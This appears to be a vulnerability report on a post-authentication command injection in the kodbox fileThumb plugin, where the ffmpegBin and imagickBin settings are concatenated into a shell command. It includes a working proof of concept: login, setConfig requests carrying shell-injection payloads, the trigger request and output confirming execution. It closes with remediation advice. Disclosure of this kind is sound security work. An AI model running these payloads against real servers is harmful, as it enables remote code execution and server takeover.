【CVE-2026-4591】Post-Auth Command Execution via fileThumb ffmpegBin/imagickBin Command Concatenation (V03)
Vulnerability ID: VPLUS-2026-14333
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: High
Vulnerability Type: V03 – Command Injection
Authentication: Post-Auth (requires admin/plugin configuration permission)
Confidence: 99%
Status: Confirmed
CVSS: 8.4
CVE: –
Discovery Time: 2026-03-02 04:20:25
Affected Component / Endpoint
File:
/workspace/source-code/plugins/fileThumb/app.phpFunction:
checkBin(around line 535)Relevant endpoints:
Configuration:
GET /?admin/plugin/setConfig&app=fileThumb&value=<JSON>&accessToken=<token>Trigger execution:
GET /?plugin/fileThumb/check&check=1&accessToken=<token>
Technical Description / Root Cause
The fileThumb plugin uses external binaries (ffmpeg and ImageMagick convert) to generate thumbnails. In plugins/fileThumb/app.php::checkBin, the plugin reads the executable paths from configuration and directly concatenates them into a shell command:
Where $bin is taken from configurable options such as:
ffmpegBinimagickBin
The core issues:
Unescaped shell command concatenation:
The configuration value is inserted directly into the command string passed to
shell_exec.There is no escaping, quoting, or sanitization.
There is no whitelist limiting the value to safe binary names or fixed paths.
Configuration controlled by privileged users:
An authenticated administrator with plugin configuration permissions can modify
ffmpegBinandimagickBinvia:<HTTP>/?admin/plugin/setConfig&app=fileThumb&value={"ffmpegBin":"...","imagickBin":"..."}By injecting shell metacharacters (e.g.,
;,#), an attacker can append arbitrary commands that will be executed whencheckBinruns.
Execution reachable via a plugin endpoint:
The endpoint
/?plugin/fileThumb/check&check=1callscheckBin, which in turn callsshell_execon the configured binary plus--help.Thus, any command injected into
ffmpegBinorimagickBinis executed on the server under the web server’s privileges wheneverplugin/fileThumb/checkis triggered.
This combination yields a straightforward post-auth remote command execution (RCE) primitive for any attacker with access to admin/plugin/setConfig for the fileThumb plugin.
Attack Vector
An authenticated administrator (or any role with equivalent plugin configuration rights) can:
Log in and obtain an
accessToken.Set
ffmpegBinorimagickBinto a malicious value that appends arbitrary shell commands.Trigger
/?plugin/fileThumb/check&check=1to cause the server to execute those commands.Optionally verify success by writing to a web-accessible location and reading it over HTTP.
Example variants:
Variant A (ffmpegBin):
Set
ffmpegBinto a command-injection payload:<HTTP>GET /?admin/plugin/setConfig&app=fileThumb&value={"ffmpegBin":"ffmpeg;echo <markerA> > /var/www/html/data/temp/a.txt;#"}&accessToken=<token>Trigger check:
<HTTP>GET /?plugin/fileThumb/check&check=1&accessToken=<token>Read proof file:
<HTTP>GET /data/temp/a.txt HTTP/1.1Host: <target>Response contains
<markerA, proving shell command execution.
Variant B (imagickBin):
Set
imagickBin:<HTTP>GET /?admin/plugin/setConfig&app=fileThumb&value={"imagickBin":"convert;echo <markerB> > /var/www/html/data/temp/b.txt;#"}&accessToken=<token>Trigger
plugin/fileThumb/checkas above.Read
/data/temp/b.txtto confirm execution.
PoC (Confirmed)
The provided PoC (shown here using imagickBin) performs the following:
Admin login and token retrieval:
<BASH>curl -sS -X POST "$TARGET/?user/index/loginSubmit" \--data-urlencode "name=$USER" \--data-urlencode "password=$PASS" > login.jsonTOKEN=$(json_get_file login.json info)Output snippet:
<TEXT>[+] admin_login=true token_len=82Set malicious
imagickBin:<BASH>PAYLOAD="$BIN_BASE;printf '$MARKER' > /var/www/html/data/temp/$PROOF_NAME;#"VALUE_JSON='{"imagickBin":"convert;printf ...;#"}'curl -sS -G "$TARGET/" \--data-urlencode 'admin/plugin/setConfig' \--data-urlencode 'app=fileThumb' \--data-urlencode "value=$VALUE_JSON" \--data-urlencode "accessToken=$TOKEN" > setconfig.jsonResult:
<TEXT>[+] setConfig.code=TrueTrigger
checkBinvia plugin endpoint:<BASH>curl -sS -G "$TARGET/" \--data-urlencode 'plugin/fileThumb/check' \--data-urlencode 'check=1' \--data-urlencode "accessToken=$TOKEN" > check.jsonVerify execution via proof file:
<BASH>PROOF_HTTP=$(curl -sS -o proof_body.txt -w '%{http_code}' \"$TARGET/data/temp/$PROOF_NAME")PROOF_BODY="$(cat proof_body.txt)"Output:
<TEXT>[+] trigger=plugin/fileThumb/check&check=1[+] bin_key=imagickBin[+] proof_http=200[+] proof_body=V03_imagickBin_1772976575
The agent’s independent verification repeated the same pattern using ffmpegBin and obtained:
confirming arbitrary command execution on the server.
Impact
An attacker who can configure the fileThumb plugin (typically an administrator) can:
Execute arbitrary system commands on the kodbox server with the privileges of the web server/PHP process.
Write arbitrary files into web-accessible or other writable directories.
Potentially escalate from application-level compromise to full server compromise, depending on system configuration and privilege level.
Use the RCE primitive to:
Install backdoors,
Exfiltrate sensitive data,
Pivot to other internal services.
While this requires post-auth administrative access, it turns an administrative account compromise into a full remote code execution capability, which significantly increases overall risk.
Duplicate Check
A duplicate search via:
GET /api/v1/agent/report/vulns?exclude_vuln_id=VPLUS-2026-14333
found no existing vulnerability with the same attack chain (“post-auth admin/plugin/setConfig of fileThumb.ffmpegBin/imagickBin leading to command execution via plugin/fileThumb/check”). Existing fileThumb-related reports affect DoS/task scheduling logic, not command injection/RCE.
The agent re-ran the PoC on http://192.168.200.57:80, observed successful injection (marker file created via injected command), and confirmed this as a new, distinct vulnerability.
Remediation Recommendations
Eliminate unsafe shell concatenation:
Do not concatenate configuration strings directly into shell commands.
For
ffmpegBin/imagickBin, enforce a strict whitelist:Only allow known-safe binary names or controlled absolute paths (e.g.,
/usr/bin/ffmpeg,/usr/bin/convert).
Use safe process execution APIs:
If external programs must be executed, use APIs that avoid invoking a shell, such as:
proc_open,exec, or similar with array arguments, e.g.:<PHP>proc_open(['/usr/bin/ffmpeg', '--help'], ...);
Validate and sanitize all arguments; never allow free-form shell syntax or metacharacters.
Server-side validation for configuration values:
For command-related configuration options:
Reject any value containing shell metacharacters such as
;,&,|,$,(,),<,>, backticks, or newline.Prefer a dropdown or fixed options on the server side instead of arbitrary free-text configuration.
Restrict configuration permissions and audit changes:
Limit
admin/plugin/setConfigto the minimum necessary roles.Add audit logging for all plugin configuration changes (who changed what, from where, and when).
Regularly review logs for suspicious command-related configuration changes.
Defense in depth:
Run the web server/PHP under a restricted OS account with minimal privileges.
Use OS-level controls (e.g., AppArmor, SELinux, containerization) to limit the damage of any command execution.
Ensure file system permissions and network access for the web process are as restrictive as operationally feasible.